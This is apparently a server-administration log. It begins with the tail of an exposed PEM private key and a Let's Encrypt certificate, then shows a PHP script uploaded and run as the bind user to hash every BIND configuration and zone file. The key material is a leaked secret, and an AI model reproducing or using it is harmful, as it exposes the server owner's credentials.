TJp3ADwGpCpXSpMsceRiGY/E6MscnGDUNutFW9k55jSkWouYitVEpr6Y/5eCu9mi
sn/se9xofBpauhjRPkz950adM+1CVgwq6XDwA1FvfZI7el25XD+cDRRnZ542Ps3z
qvoqYGjZTwKBgB/i33/GlOLQEteDezrVPHX4SV3v8sAtRGsXtqMOKY65Lg4rEitR
rerJnPD46Gwdv4H4asykH9mv8Cr8ZifuCXHnbe57N0xTI2hJhW2xP1FUk94802Hw
GPv713eljUVk/fA0iLjpLNivS8QylB8DKNU+rDaS9gnqgtuDiyosQSvjAoGAXLSC
rRtFAX2yDiKTcv/1r/lIT2N/2LUfWd/42XICn5C2dGlH1jkdSShpyAiX+7X66ini
S0dMbc5+Zaz3dxqcZs9882iq/YNsxG4+ps3gkbSvqon+ZK4P6NEsEArKddpnsAw2
RfTFZgFgZG9Anff/Udm/rMewBULqx3pgBU+E1t8CgYB0PXB9CXdVyKSSCD5KfB/R
v7QnSfk+mQlW8hzac0I/b1qKWHp0kt5mv2duCU48UiM+mGdl6FRYiiEqSX2IaxM6
nwJphHxaQWrdrlZrGb6vBGHVJJZkynfXQcoMiIeQSArYM+pJfaEbysp33tmv5j2m
mHPvevprFKuapOV2GZvfPQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 06:01:23: Establishing a remote connection
2026-05-24 10:26:14: Establishing a connection
2026-05-24 10:26:19: Establishing a connection
2026-05-24 10:26:19: 

PUT: /tmp/pkp224674

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:26:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp224674; rm /tmp/pkp224674'

2026-05-24 10:26:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:28:45: Establishing a connection
2026-05-24 10:28:54: Establishing a connection
2026-05-24 10:28:54: 

PUT: /tmp/pkp149115

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:28:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp149115; rm /tmp/pkp149115'

2026-05-24 10:28:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
